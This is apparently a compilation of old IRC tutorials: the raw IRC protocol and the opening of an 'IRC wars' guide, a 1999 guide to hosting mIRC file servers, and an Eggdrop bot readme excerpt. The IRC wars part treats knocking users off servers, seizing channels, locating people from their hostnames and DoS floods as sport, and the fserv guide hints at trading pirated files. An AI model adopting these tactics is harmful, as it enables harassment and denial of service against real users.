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                         PART A(NOTE ABOUT MIRC)
[What is IRC?] 

IRC stands for "Internet Relay Chat". Jarkko Oikarinen originally wrote it in 1988. Since starting in Finland, it has been used in over 60 countries around the world. It was designed as a replacement for the "talk" program but has become much, much more than that. IRC is a multi-user chat system, where people meet on "channels" (rooms, virtual places, usually with a certain topic of conversation) to talk in-groups, or privately. There is no restriction to the number of people that can participate in a given discussion or the number of channels that can be formed on IRC. 

[An introduction to the way IRC works] 

All the communications in the world of IRC are done through the server. (This does not includes the DCC (Direct Client Communication) protocol) 

When you connect to a server, you send it 2 commands: NICK & USER. These commands are used to identify you on the IRC. Here is the format of the commands: 

NICK nickname - Sets your nickname 

USER username host server :real name - Set your userid and real name. Host is your host and server is the server you are connecting to. 

For example to open a raw IRC session you can telnet to an IRC server on port 6667 or 7000 (the standard ports). Here is an example for telneting my localhost (note: the lines beginning with * have been written by me. The rest are the output I got from the server): 

* nick ^TCG^ 

NOTICE ^TCG^ :*** If you are having problems connecting due to ping timeouts, please type /notice E3AA3478 nospoof now. 

PING :E3AA3478 

* user ^TCG^ 127.0.0.1 localhost :The Cyber God 

:localhost 001 ^TCG^ :Welcome to the DALnet IRC Network ^TCG^!~tcg@thegod.actcom.co.il 

:localhost 002 ^TCG^ :Your host is localhost[thegod.actcom.co.il], running version dal4.6.7.DreamForge.win32 

:localhost 003 ^TCG^ :This server was created Fri Jul 24 07:48:52 1998 

:localhost 004 ^TCG^ localhost dal4.6.7.DreamForge.win32 oiwsghOkcfrRaAb biklmnopstvR 

:localhost 005 ^TCG^ NOQUIT TOKEN WATCH=128 SAFELIST :are available on this server 

:localhost 251 ^TCG^ :There are 0 users and 0 invisible on 1 servers 

:localhost 253 ^TCG^ 4 :unknown connection(s) 

:localhost 255 ^TCG^ :I have 0 clients and 0 servers 

:localhost 265 ^TCG^ :Current local users: 0 Max: 0 

:localhost 266 ^TCG^ :Current global users: 0 Max: 0 

:localhost 422 ^TCG^ :MOTD File is missing 

:^TCG^ MODE ^TCG^ :+iw 

... 

ok 

As you can see, the second parameter of the USER commands includes my IP. You might be thinking right now that you could enter any IP you want and fake your IP. Well you are wrong. On really older versions of the IRC daemon (Those that were used in Efnet), you WAS able to spoof your IP. But today there are 2 types of antispoof-patches: The one that doesn't care about the IP you entered and connects you using your real IP (which it gets from the socket) and the other one just doesn't allow you to connect to the server until you give your real IP address. 

The first method of Anti-Spoofing is most used most in the server version of DALnet and the second is used most by EliteIRCD (which is based on DALnet) and the servers that are based on it. 

Now, if it all goes ok then you just opened a raw session to IRC! 

All the data transferred to the user (Private Messages/Notices and Channel Events) is transferred from the server. If the user that sent you a message is on a DIFFERENT server than you (but NOT a different network) the message "moves" from the servers until it reaches your server and you. To send someone a message in our raw IRC session type: 'PRIVMSG nick :message' (without the quotes) where nick is the target nickname and message is the message (You must include a : before the message). 

When a message moves from server to server it looks like this: 

:SenderNick PRIVMSG nick :message 

All the IRC commands move from server to server like this. For example when someone uses the NICK command ALL the servers get a notice about it. 

[Some notes on different IRC networks and their daemon software] 

Different IRC networks have different IRC daemons. It is important to know the futures / limits of the server your network uses. For example, OLD Efnet servers don't know the +b channel mode (ban someone). When trying to start IRC wars you need to know what are the limitations of the server. If it got services, if so does they have a bug that can crash them? Can you obtain Channel Operator in a net-split (we'll get to that)? And so on... During the rest of this tutorial we will discuss different daemon software and bugs, as well as different ways to "get in". 

[Why IRC wars started?] 

Generally, IRC wars started on the IRC network Efnet. In this IRC network you can't register your nickname so ANYONE can use it. If for example someone logged to this IRC network (By the way, did you know that it is the first IRC network ever (!)) and he saw that his nick is taken. He probably said something like "How Rude?!" or "Mother-F*cker" or anything else. Then he started thinking about ways to get this user off the server. Users started to try many different things on each other and that's pretty much how IRC wars started. Today, users might start IRC wars "just for fun", or for taking over channels they don't like or kicking off users they don't like. 

[What do the others know about me?] 

OK people! This is actually the first important thing about the IRC wars. Before starting out you need to know what others can find out about you and what can you find out about them. 

If you are not connected through a BNC, firewall or a shell (we'll get to this neat stuff later), what I mean, that if you are connected directly to the IRC, using a dial-up for example users can first of all knows your IP. Newbies might say right now, ok... well.... So he knows my IP... who gives a shit anyway? 

Well if you said this you are wrong. Let's take a look on my host (resolved IP) for example: 

P34.haifa2.actcom.co.il

|    |        |      |_ You can see that my ISP is in Israel, and so am I (unless

|    |        |         I'm dialing to foreign ISPs just to cover my identity, which 

|    |        |         is a thing people don't do because of... financial issues).

|    |        |_ You can see that my ISP (Internet Service Provider) is Actcom

|    |_ You can see that I am from Haifa ).

|_My modem number at the ISP's office.

See how many things the host gave you? 

1) My ISP 

2) My city 

3) My country 

Now You can also know that if my ISP address is actcom.co.il you can send complains about me to abuse@actcom.co.il for example, give them my IP and tell them what I did to you and they will do the rest. 

That is what users know about you. Some times you will only see numbers like 19.114.47.1 and not the host. That is because the server failed to resolve your hostname. To resolve it you can download a program called 'nslookup' from somewhere (note: nslookup comes with all Unix systems), give it the IP and it will try to resolve it. Also see the entry 'DNS Servers' in the Newbies Corner. 

Now, for those who don't know you can get the IP/host by "whoising" the user. 

To do a whois on a user in mIrc, BitchX, IRCii, Pirch and some other known IRC clients all you need to do is type /whois nickname 

To whois someone in our raw connection (the one I taught you how to establish at the beginning) type 'whois nickname' (without the quotes) 

Here is what I get when I whois my self in the raw connection: 

whois ^TCG^ 

:localhost 311 ^TCG^ ^TCG^ ~TCG thegod.actcom.co.il * :The Cyber God 

:localhost 312 ^TCG^ ^TCG^ localhost :test server 

:localhost 317 ^TCG^ ^TCG^ 9 932030074 :seconds idle, signon time 

:localhost 318 ^TCG^ ^TCG^ :End of /WHOIS list. 

Ok, before I explain what you got here, here is the format: 

Format: :server-name raw-number sender target data. 

Server-name is the server that gives you the data. 

Raw-number is the ID of the data you got (it is used to determine what data you are getting). 

Sender: the senders nickname (you!!). 

Target: The target (The nick you are whoising). 

Data: The data. 

Now here is an explanation on all the 4 lines 

In the first one you see the user-name and the host of the user, you also see his real name: 

~TCG thegod.actcom.co.il * :The Cyber God

  |     |                         |_ The user's real name (you can fake this :))

  |     |_ The user host or IP

  |

  |_ The username (set by IdentD, will be explained later,

     when followed by a '~' you see that the IdentD is NOT 

     running and the Ident (username) might be fake).

The second line:

localhost :test server

    |             |_ Comment about the server (set by the server admin)

    |_ The server that user is connected to

Third line:

9 932030074 :seconds idle, signon time

|      |_When the user signed in

|_ How many seconds has he been idle

Last line:

:End of /WHOIS list.

     |_ Shows you that there is no more data.

Also, when users know your IP they can start almost any Denial of Service (DoS) attack on your host like WinNuke (Arggg... Lame Lame Lame!!!) or a lovely ping flood that will chew up all of your bandwidth, depending on the attacker's bandwidth (for more info and more sophisticated DoS attacks, see the DoS tutorial at ............). 
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I. INTRODUCTION
A. Introduction
So you've been on IRC for a while and you've stumbled across a channel for fserving, but now your lost. What is all this? So you ask around, and of course, no one helps (one habit of the IRC crowd). So you finally figure part of it out and get in one (I'll get to the technicalities later). But now you're really lost. You are officially up shit creek without a paddle. So you message the host a question and he bans you. As you bow your head and say "fuck", remember, some things in cyberspace aren't user friendly. Don't get pissed, just learn.

B. Disclaimer/Terms of Use
The 'The Proper Way to Fserv on IRC' tutorial is: 

Copyright 1999

Dakota Bryant

All Rights Reserved

So use my directives as guidelines of the distribution of it. First of all, this tutorial is to be used as an educational tool and doesn't support or advocate any illegal or immoral actions that the information in it could be used for. If you wish to distribute it through your website, newsgroup, mailing list, etc. please feel free. Just leave it unedited and un-altered. Some of the websites that I have links to at the end of this tutorial may contain illegal materials of piracy and other information that may be deemed illegal in your state, country, etc. These sites are, like this tutorial, also to be used only for educational uses only. If you agree to follow the preceding directives, then please continue reading, otherwise, please delete this tutorial from your system. Thank You.

C. Conventions Used in this Tutorial
Like most things in life, this tutorial suggests that you understand certain aspects of the subject matter or common components of it. Upon writing this tutorial I realize that many people reading this are the absolute beginners. What I mean by this is that some people reading this learned of Fserving and the advantages of it, so they got mIRC, but they don't really understand how to use mIRC in the first place. So this tutorial suggest that you have an understanding of mIRC and the ideals behind it. Also that you understand your operating systems file structure (i.e. The Windows hard drive is drive C:\). And finally that you are pretty knowledgable of computers and software. You don't have to have the expertise of a hacker or programmer, but you do need some computer know-how. You also must be using mIRC, which is what I use Now if you've got all of that covered, please continue.

D. Viewing this Tutorial
I wrote this tutorial in NoteTab Light, which is one of the best text editors on the planet (www.notetab.com - SHAMELESS Plug, I know). So obviously viewing it in it will work fine, and it will look fine. Windows NotePad will also work fine, as will WordPad. If it doesn't look right in whatever editor/viewer you use, then I really don't know what to say. Just use NotePad, WordPad, or NoteTab Light. Though it should look fine in anything that reads ASCII text. 

II. STRUCTURE OF AN FSERV
A. How an Fserv Works
Now that is something that even the most experienced Fserv hosts don't even understand. And to use one and understand what's going on, you do need to understand how it works. Now this is more theoretical than I'd like, but it's necessary. When someone sets up an fserv (which we'll get to later) all they use is a SCRIPT, which is just a few files that modifies mIRC's appearance and how it works. And what all these files do, is take the hosts place and do what the user wants based on the commands that he/she types. So when someone types the appropriate trigger for the fserv, all the script does is go "Holy shit! He typed the trigger!", then it opens an everyday, nothing out of the normal, DCC Chat window with the person. Then the user types commands and the script does what it's told. So basically, all the script does is take your place. So, where someone would say to you "Hey send me that Lynyrd Skynyrd mp3!", the person says "get freebird.mp3" to the script and the script sends it. You see, computers are real dumb, so that is why it has commands and the script uses these commands to do what you could, but faster and more efficiently. Now if that's a little daunting, don't worry. After you learn how to use one, it will either make sense or not matter. If you set up your own fserv it will make sense though.

B. Common Commands
Now some commands differ from script to script, but there is a common set that all scripts use. Now, if you are familiar with DOS, then these will make sense. One syntax note: when a word appears between <these> , then that means you fill the space basically. So if the tutorial says " get <filename> " Then you should replace filename with the appropriate word (So if you wanted picture.jpg then you'd type get picture.jpg). And to keep this 'beginner friendly' I chose only the bare-bones commands. Please continue.

Command
What it Does - Example


DIR/LS
Lists files - N/A 


GET
gets files - get <filename>


CD
Changes Directory - cd <foldername>


CD ..
Goes up a directory - cd ..


Now to understand what the user/host's computer connection is, I'm going to have to explain a little bit of the fserv setup process. Now, when someone (the host) sets up an fserv, they edit and configure the script, which is just basiclally changing options. And one of those options is a ROOT DIRECTORY. The root directory is the first directory. So if his root directory is C:/Folder/First/ Then the first directory you're in when you get on his fserv is C:/Folder/First/ . So when you are changing directories and such, then you are changing directories on his machine. So basically, the script is just letting you know what's available (what folders you have accesst to) and let's you make your decisions on what files to get. You see, there is no real server involved. All it is is a script which acts like one by accpting commands and sending and getting files. Now on to sending and getting.

C. Uploading and Downloading Information
1. The Credit System
The Credit System is one of the largest and most intriguing aspects of fserving. It really is one of the few things, besides just plain generosity, that would make someone want to become a host. But what is it about? Well let's suppose you get on a fserv that deals with mp3s (for legalities sake, let's say 'legal' mp3s). Ok, so the guy who hosts the thing doesn't just want to give out mp3s, I mean why would he? It's simply human nature to want something in return. So that's where the Credit System comes in. You see, if the guy's fserv script uses the Credit System, then he can 'charge' for the mp3s. And I don't mean money, I mean, well, credit. You see, here's how it works. There are three kinds of fservs, all of which have some sort of Credit System (I'll get into each one in detail later). Now, with the Credit System, the hosts sets 2 things: STARTING CREDIT and RATIO. Both of these are very important to how your fserv experience goes (and which fservs you use). Ok, lets start with Starting Credit. Starting Credit, is simply, how much Credit you start with. Much like how much money you start with in a game of Monopoly. Now remember, all values are in BYTES, not KILOBYTES. So if the Starting Credit is 1000000 , then you start with a MEGABYTE worth of credit. So what is Credit for, you ask. Well, if you want a mp3 thats 3 megs, then you need 3 megs of Credit (which is 3000000 in byte/credits form). So how do you get that credit? Uploading, which I'll get into later. Now lets get into Ratio, which is just as important as Starting Credit, if not more. Now what Ratio is, is a way for a hosts to allow more credit to be given to uploaders. Why this was even thought of in the first place is not even known, but it's still implemented in almost every script. Now, ratio is represented by the same means as in Mathematics, with 2 numbers seperated by a colon (2:3). Now how it works out in lamens terms is different. Ok, this can be confusing. If a fserv has a 1:2 ratio, than that basically means for every byte that I upload I get 2 bytes back. So, if I upload a 500k picture (equal to 500000 bytes/credits) to a this fserv, then I get 1 meg of credit back (equal to 1000000 bytes/credits). The same works for different ratios such as 1:4. Except, in this case for every byte uploaded, you get 4 bytes back, and so on. Now, what about LEECH? If you've been to the fserving channels before, you've heard that term tossed around. Well, it's actually simple. Let's suppose your on a Mp3 fserv, and it says in his RULES MESSAGE that he'll give Leech for an Mp3 of a certain song. So you know that you've got it, so you upload it. Then he'll give you Leech, which means you have infinite Credits. Basically, Leech is like being able to have anything in a store for free. There are also LEECH FSERVS, which I'll get into later. 

2. Uploading 
Now here's a topic that evaded me for a long time. First of all, you should know by now what you upload for (Answer: Credit), and what happens when you upload (The file gets sent to the hosts computer). But how do you upload? Well, it's actually very simple. If the script takes the hosts place, but pretty much does the same things, then if you wanted to upload to the fserv, then all you have to do is do a DCC Send to the fserv! It's that simple. And after your file is done sending, then you get your credit. Always in that order. Now, there is some ethics and manners involved with this, but I'll get into that in a bit.

3. Downloading 
Also a very simple topic. Ok, basically, you get a file by using the command "get <filename>" (without the quotes). But first, you must have enough Credit. Which you do by uploading, of course. So this is a simpler subject and the very essense of fserving. Now, there is a limit to how much you download at a time. It depends on the fserv though. This will be discussed when I teach about hosting your own fserv later on in the tutorial.

D. Information on the Types of Scripts
1. Byte Ratio Scripts
The most popular of the Scripts simply because the host is guaranteed something in return. Very simple, because it uses the exact Credit System I described above. Where the Ratio describes bytes sent:bytes returned. This is the Script type of choice for Mp3, Video, Porn, etc. hosts. As said before, this type Script is used anytime that the host wants something in return for supplying everyone with these files. Thus, it is claimed as the King of Scripts.

2. File Ratio Scripts
A very bizarre type of Script. Not many people use it anymore because of the high potential of 'rip-offs'. It uses the same Credit System with the exception that instead of the Ratio being bytes sent:bytes returned , it's files sent:files returned. So you can easily see what the potential for getting 'ripped' is. For example, let's use that mp3 fserv again. So, this mp3 fserv is using a File Ratio Script with a 1:3 ratio. So after someone uploads a file (yeah, any file) then he then gets permission to download 3 files. Yeah, bytes/credit has nothing to do with anything. The problem is that I could upload 2k picture and then get 3 files for basically nothing. These are rare these days, but I suppose, are still used in trusted enviornments - Private Channels where only trusted people are given access. Though in most other cases, these aren't used that often. Surprisingly Leech Scripts are way more common.

3. Leech Scripts
These are surprisingly popular, though not as popular as the Byte Ratio Scripts. These are just as they say, completely Leeched to everyone. So there are no Ratios, no Uploading, no Starting Credits, and definately no ways of getting Leech (I mean you already have it!). These also usually come with another feature, not often found on other types of Scripts, QUEUES. Very simply, Queueing is a way that you can send out minimal files while still giving them all they need. Basically a Queue is a 'slot' that, once the maximum amount of simultaneous sends has been met, will hold the file 'til a slot opens up, then send it. So if a fserv only allows 2 Simulataneous downloads and there's 2 files being sent, and I try to get a file, the script will put it in a Queue Slot, which then will send it when one of the sends are done. So it basically holds it until it can send it. If you don't understand, you will when you use one. It's still a very nice feature. These Scripts are usually found in any fservs that deal with smaller files like Text Files (*.txt). They're also found in fservs that deal with emulation and any type of fserv where the host doesn't want anything in return.

III. PREVENTION OF GETTING BANNED
A. Proper Fserv Manners
You will soon learn that there is no worse feeling than being banned. As an experienced user and host, I understand both sides. But unfortunately, the user must follow the host's rules. And that's really understandable cosidering that hosting a fserv is a service and a major pain in the ass sometimes, so the user really isn't a priority. And that's why most hosts don't even pay attention to their fservs, cause they don't wanna deal with the users (Though I don't like that fact). So, as a user, if you don't follow the rules you will be kicked/banned so you need to learn some fserv ethics which will help you in the future. Hell, if you follow, you may not be banned ever again.

B. Staying on a Host's Good Side
Now I don't wanna come off as saying that you've gotta kiss the host's ass. That's not it at all. You see, the whole user-host relationship is easy to understand - IT SHOULDN'T EXIST! It's very simple, don't talk to the host unless absolutely necessary. Don't ask a bunch of questions and don't voice any opinions. They just don't care. If the host talks to you, then of course, talk back, but you shouldn't be an asshole and complain about the unfixable - Speed, messed up Sends, etc. And never under any circumstances, argue with the host, because it won't last long. As soon as you say something like that you will get banned. Hosts don't wanna hear it. The whole act of complaining to a host will be discussed next, but you really shouldn't have much to complain about except something being wrong with the Script (like not getting credit for uploads, nothing sending, etc.). It comes down to this: The host is doing you a service by hosting the fserv so you really don't have that much room to run your mouth to him. And most aren't open to open to constructive criticism or any suggestions so just do your business and leave. It's almost like prostitution: You upload (Pay), then you download (Fuck),then you leave. So do your business and leave. And follow their Rules Message, that's why it's there. 

C. The Proper Way to Send Complaints
Ahhhh.... The infamous art of Customer Service. Basically this boils down to this: Never complain about the unfixable. If the connections slow, wait longer. If the sends aren't working, try again. Just don't complain. I guarantee ban if you complain. And it's understandable cause you're just being an asshole. But if there is something seriously wrong, like the Script isn't working right, then you have every right to complain, and do so. But make sure something is really wrong, and you're not doing something. But if you feel something is seriously wrong, then msg the host and tell them. They may get pissed if nothing's wrong, but they'll appreciate it if something is really wrong. So just use good judgement and avoid DCC Chat. Just go into the channel they're in and double click on their handle. Most hosts like it better that way. Or you could try it in the fserv windows, though they may not pay any attention to it. Well use good judgement and you'll learn how to do it perfectly with experience. One last note, when you tell them you think something is wrong, choose your words carefully; don't just blather on about how it's not sending and act like it's there fault, just say nicely and politely that you believe something isn't right and ask if they know what is wrong, if they don't, then well, fuck it.

IV. HOW TO SET UP YOUR OWN FSERV
A. Selecting the Appropriate Script
When setting up your own Fserv you have to know what the purpose is, then choose your Script. For example, a porn picture fserv would most likely want to get more pictures. Thus, it would use a Byte Ratio Script. Though, a Edgar Allan Poe E-Book fserv would most likely be a Leech Script because of the low byte size and the fact that those are public domain in the first place. So you should choose your Script carefully. Next, I will examine 2 of the most popular Scripts, and one I just like.

1. Installing mIRC Scripts
I understand that some people do not understand how to install a script. First of all, there are two different forms that you get the files: Either a zipped archive (*.zip) or an executable file (*.exe). Now when you open either one, they should say where they are going to put the files. Now, you have the option to change this location, which is suggested if the files are in a .zip . So, once you've got the files on your machine, all you do is copy mirc32.exe and mlink32.exe into the directory where you put the Script files. So if you put the files in C:/Script/ , Then you've past mirc32.exe and mlink32.exe inot C:/Script/ . That's all. 

B. Setting Up the Script
Here I'll explain the basic setup process of the before-mentioned Scripts: Panzer, Polaris, and Sphoo. These three Scripts represent each type, Panzer is a File Ratio and Leech Script, Polaris is a Leech Script, and Sphoo can be all three. I'll also include a small review of each in the following sections. I do suggest reading each one, or at least Panzer, then the one your using, being that I cover most of the Script setup procedure in Panzer and many of the configurations/terms are the same in the other Scripts.

1. Setting Up Panzer
Now this one is so easy, and that's why it's the most popular Script on earth. It's a Byte Ratio Script and uses a friendly user interface that rocks. But first head to http://members.tripod.com/~ArntS/ <http://members.tripod.com/%7EArntS/> and get the latest version. Ok, when you run mIRC with the Script there's a good bit of graphical change, but you can figure that out. All I'm doing is helping you set it up. First go to a button called <<Panzer>> at the top and choose Fserve Setup. Then right click and choose choose 'Setup/Change', then choose '1'st Time Setup'. Then change the options to your liking. You should be able to figure out each of them. Note that Ratio is set with a single number, 1:2 is 2 , 1:3 is 3, etc. Also, the Root Directory is the initial or home directory that has all the folders/files of your fserv. Basically for further configuration just use the <<Panzer>> button and look for the options. The only other necessary configurations is Starting Credit, Rules MSG, and Advertising. I'll walk you through them. But keep in mind that I am considering that you already have the 'Fserv Setup' window open and your right clicking to get to the options. Now we setup the Starting Credit. It should be under "Setup/Change", "Change" , "Starting Credit". Keep the number at least 5 digits. Just to make it look useful, and type FREE CREDIT to use Panzer as a Leech Script. The Rules Msg is also very simple. Ok, the Rules Msg options are under "Setup/Change" then Rules Msg. You'll notice there are three options: Change, Enable, and Disable. Ok, if you want a Rules Message (which you should know what it is by now), then choose Enable, if you don't think you need one, choose Disable. Now, notice that all your options are viewable in the "Fserv Setup" window. Ok, so if you chose 'Enable' then now go back to the Rules Msg options and choose 'Change'. Now Notepad (or your default text editor) will pop up and you just have to write your Rules message. I'll get to that in detail later. Finally, the Advertising configurations can be tricky. Ok, now go to the Fserv Setup window and right click and choose 'Custom Advertise'. Then choose 'Make New'. Note that if you don't make a new advertisement you do get a generic one with only info and no descriptions. Ok, back to advertising. Now, after you chose 'Make New' a small window should've popped up. Now type out your advertisement. Now the confusing part is getting the ads to run in channels. Well, the best way to do this from the start is to join all the channels you would ever want your script's ads to run. Then right click in one of the CHANNEL windows and choose 'Channel Ad. Settings' and a window should pop up with all the current channels your in listed. Now right click anywhere and choose 'Setting' , then Add, then choose the channel you want to add. Then a window pops up asking for an advertising code. For beginner's just use code 1. So when that window pops up just put in 1 and click ok. Well, that's about it. Then you just join those channels that you cut on advertising and wait for users to join. A few final notes, you have to join the channels you want to advertise in and to put your fserv online, you have to go to the Fserv Setup window and right click and choose go online. Well, that's about it. Also remember to play with Panzer's options, cause some of it's best features are kind of hidden. Once you master it it is one of the best Scripts out there. Also remember to right clickin channel windows to get more of the advanced features. 

2. Setting up Polaris
Now this Script can be a little daunting at first, but once you set up the initial fserv it seems to get easier. The script, unlike Panzer, is completely a Leech Script. So, you're not guaranteed anything in return. This is best for dealing small files and is also popularly used to advertise FTP Servers. But I'm not explaining those. First, you've gotta download the Script at http://members.xoom.com/Polaris_IRC/ <http://members.tripod.com/%7EArntS/> and set it up like normal. Now when you start it up, you'll realize that this completely changes the look of mIRC. Though that doesn't mean it's that much different. It acts the exact same way. Ok, to start your fserv, first you must go to the button at the top with the name 'Polaris IRC'. Then choose 'Script Settings', then 'File Server'. Now before I get into the actual configuration of Polaris, let me remind you that Leech Scripts use a Queueing system which I described above in the "Leech Scripts" section. Now you immediately see that this is a lot different than Panzer. But first things first. The best way to teach you how to configure Polaris is to expain each part. Ok, first of all you see the two squares that say 'Max Sends' and 'Max Queues'. Ok, now under 'Max Sends' their are two boxes, one for 'Each' and one for 'Total'. Now 'Each' is for how many sends can each user have. So if it's two, each user can only download two files at once. The 'Total' means how many total sends can go out before the Script begins Queueing files. So if it's 3, then once you're sending out 3 files and someone makes another request, then the Script will put it in Queue slot one. The 'Max Queues' options are exactly the same, except when the 'Each' and 'Total' numbers have been surpassed, the user gets a message saying he'll have to wait and request the file again. If you don't understand what the values mean completely, you can just leave them at their defaults, and your serv should work fine. Next on our learning agenda is the 'Advertising Channels' square. Now this is very simple. All you do is type in the name of a channel you want to advertise in and click on 'Add'. That's it. Of course you must join the appropriate channels for your ads to run. Next is those three small squares under 'Max Sends'. Ok, the first one, 'File Server Chat', I honestly am not sure what that is for. If you can help, please email me <mailto:Dakota@the-pain.com> and tell me. I'll give you credit. The other two I do know what they're for luckily. First is 'Slot Announcer'. Now, what this does is actually one of the coolest things about Polaris. You see, when you're Fserv is full, then someone leaves, the Script will alert the channel of the newly free slot, if that is activated that is. Now, the 'Enable on Start' is also very simple. If that's on, then your Fserv will start as soon as you connect to mIRC. Simple, eh? Well the next to options follow suit. First is 'Max Users' which is the maximum amount of users allowed on your fserv at once. Next is 'Ad Delay Time' which is how many minutes your Script will wait before posting another advertisement for your fserv. The 'Note' option is just a note that will be displayed in the advertisement. Ok, now after you've got all of that filled out, then click on Trigger 1. Now here's one of the great aspects of Polaris, you can have seperate fservs. Ok, so now click 'Enable Trigger' then go to the 'Trigger' box and type your trigger. Then go down to 'Root Directory' and choose it (look above at the Panzer section for more information). Then pick the 'Welcome File' which is just your Rules Message (just make a new .txt file and write one and save it). Now your done for the most part. If you wist to have a seperate fserv with a different trigger then choose 'Trigger 2' and make a new one. But don't worry about advetising them both, Polaris will do that for you. There are a few options you need to know about. One is Queue Manager, which will let you remove files from your Queue list (In case you have an abusive user for example). That's under 'Polaris IRC', then 'Queue Manager. Just choose a file and push 'Rem'. Another option that you may want to know about is the 'FTP Ad' option which is found at 'Polaris IRC', then '-->FTP Ad<--'. This pretty straight forward and if you can setup an FTP Server you can understand this. The last option is the 'Request Ad'. The 'Request Ad' option can be found at 'Polaris IRC' , then 'Script Settings' , then 'Request Ad'. You'd use this if you're looking for a specific file. All you do is type what you're wanting in the 'Request' box and add channels to advertise, and choose whether to start the Request Ad on Connect and then choose the Ad Delay. Finally, when everything is set up, join all the channels you want selected to advertise in and right click in the channel window and choose 'Advertisements', then 'File Server' , then 'Start'. Congradulations, you're using Polaris.

3. Setting up Sphoo 
Now here is a real gem. Why? Well, because it has all the features of the previous two Scripts, but with one option that puts it a niche higher than all other Scripts. And that is the option to switch between the type of Script it is. So, if you dare, go to <http://www.sphoo.f2s.com> and download the latest version. Ok, once you downloaded it, you'll notice you do something different to load it. Whether you downloaded the .Zip or the .Exe , you still extract the files into the mIRC (probably C:/mirc if your uncertain). Then, you run mIRC like normal. Note that there is very little graphical change, which is good if your a beginner. Now here's the odd part. To start the script, type this in the Status Window: /load -rs sserv121.mrc . Now that is a little weird, but once it's in there Sphoo has been loaded onto your mIRC client. Now press F12 and let's get into it. Now when the window pops up, click 'Enable SphooServer' and take a look around. Most of these options should be familiar if you're moving up to Sphoo Script from Panzer or Polaris. The trigger option is pretty straight forward, but for the beginner I'd leave the square beside it unchecked for obvious reasons (Basically it's too advanced). The 'Home Directory' is, of course, the root or first folder of your Server. Now the next option, 'Multiple Home Directories', is a great feature. This will let you set up multiple fservs, with unique Home Directories, just like Polaris. Just click on add, type a trigger, and fill in the other values. The next option is the most intriguing reason to use Sphoo in the first place. I don't know of any other scripts that have this option, and that is to switch the Script between the three basic types: File Ratio, Byte Ratio, and Leech. So choose whichever and fill in the appropriate options (I explained each type in detail above; see the Table of Contents). Now a lot of people get confused about the next option, 'Logging'. But basically all it does is keep a list of 1)What was uploaded/downloaded , 2)Who did the uploading/downloading , and 3)When they did it. So it's really nothing serious/necessary , but if you do want it, then fill in the necessary fields as desired. Now on to the 'Other Options'. The six options at the top, with the larger white boxes beside them, should be familiar to you, except Advert Interval, which is just how much time is between ads (in seconds). Now the 'Add Channel to Channels List On Join' will add all the channels you join while the box is checked to the 'Channel List' which I'll get to later. The option beside it will join every channel in the 'Channels List' when you connect to mIRC. The 'Show User has just left !Trigger' option is just a slot announcer, like on Polaris (look above), and the option beside it is self-explanatory. The last two options are: 'Enable Function Keys' and 'Enable Fileserver READ Command', both of which are reccomended to be on. Now the 'Channel List' button will allow you to edit what channels you advertise in. All you have to do is type the name in the 'Channel' box and push 'Add'. The 'Advertise On' option lets you decide whether to advertise in all the channels your in, or to just advertise in channels on your 'Channels List'. It is suggested that you not use the 'OpHelp' option as of yet, because it's unnecessary for beginners to the Script. But the 'Banning' option is absolutely necessary. This is the way to ban those assholes and idiots from your fserv. All you do is type their handle in the 'Handle' box and push 'Add' and that's it. You can also Remove them later if you wish. The 'Announcements' option lets you make announcements in the channel and the 'Welcome Message' is the equivalent of a 'Rules Message' for Panzer. You just type it out and push 'Ok'. The last option is one of the most important. This is what you use to keep those viruses and improper files out of your fserv. Just click on 'Reject File Extensions' and type in the extension in the black fieild and press 'Add'(i.e. to block .jpg pictures, you'd type .jpg). I'd suggest typing a message in the long blank field to post to the person uploading illegal files. If you check 'Alert Me' the script will tell you if someone trys to upload something you don't like. The 'Duplicate File Rejection' option lets you decide how the Script should handle files uploaded (or not uploaded) that have the same filename as something on your serv already. And if you create a filelist then it will do, as it says, make a big filelist with everything you have on the serv. Ok, now close all the windows except the initial Sphoo window. Now for the last options that you need to know, go to 'Commands', <>SphooServer<> (which'll be followed by a version number), then notice the 'Disable SphooServer' option which will take SphooServer offline. And below that there is an option of 'Unload <>SphooServer<> which will completely take the Script off your mIRC client. Now if you set up your fserv right, join all the channels you've set for advertising and enjoy yourself. If you have any problems just push F12 and see if something's wrong. Just try to play with the settings 'til it works, and there is always the website <http://www.Sphoo.f2s.com> which I believe the Script writer takes questions. Well, happy SphooServing!

C.Writing a Rules Message
The Rules Message is one of the most important parts of a fserv. It's the way that a fserv host basically lays down the rules and it is the only time that a host will be able to communicate with a user and warn them of what will happen if they break the rules. But what's the proper way to write a Rules Message? Well, it's actually simpler than it may seem. First off, you should have some key elements - 1) Say what you offer 2) Say what you want uploaded 3) Tell what they'll get banned for 4) Tell them whether or not they can message you 5) Have your Rules Message clearly readable. Don't use stupid slang or ignorant spacing. Don't waste time and get to the point. And whatever you do, don't use ASCII art in your Rules Message, it always looks like crap. So there you go, just lay down the rules and boundries and ban them if they don't follow. Note: Some Scripts refer to the Rules Message as the Welcome Message , but it's the same thing.

D. Writing an Advertisement
One of the most lucrative and oldest businesses in the world is advertising. And now it's your turn. Surprisingly the basic idea of advertising on mIRC is completely different than in the real world. How you ask? Well, for one, the channels you advertise most definately has a theme, so your not just blurting out an ad and hoping someone with that interest sees it, instead your guaranteed someone in the place will like it. So how do you go about writing it? Simple. You keep it short and to the point. Don't tell people what they'll get banned for or any of that, just tell what you offer and what you want. And list anything that will earn leech. That's it. That's a good and effective ad. For example, if your in a mp3 channel, and your serv deals mainly in rap mp3s, then your ad may say something like: !RapMusic offering: Great rap tunes by album and artist, organized well. Wanting: Any good Gansta rap and will give leech for rare Tupac mp3s. That's it. Very simple. It's short, to the point, and still interesting. And it tells people what to expect so they don't join, unless interested. By the way, the !RapMusic offering: part is something common if using Panzer Script, so don't put that in your ads. Well, that's about it. 
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--[ What is EggDrop? ]--
Note: This is taken from the readme file of EggDrop 1.3.28

Eggdrop is an IRC bot, written in C. If you don't know what IRC is, this is probably not whatever you're looking for! Eggdrop, being a bot, sits on a channel and takes protective measures: to keep the channel from being taken over (in the few ways that anything CAN), to recognize banished users or sites and reject them, to recognize privileged users and let them gain ops, etc.

One of the more unique features of eggdrop is its "partyline", accessible via DCC chat, which allows you to talk to other people lag-free. Consider it a multi-way DCC chat, or a miniature IRC (complete with channels). You can link up with other bots and expand the partyline until it actually becomes something very much like IRC, in fact. 

--[ What do I need to run an EggDrop bot? ]--
To get eggdrop running you need a few things:

Some sort of a Unix account (whether you have local access or whether it's a remote shell account, as long as it let's you run Eggdrop and keep running processes after you log out) 

Pretty good knowledge of IRC and Unix, including what DCC chat is. 

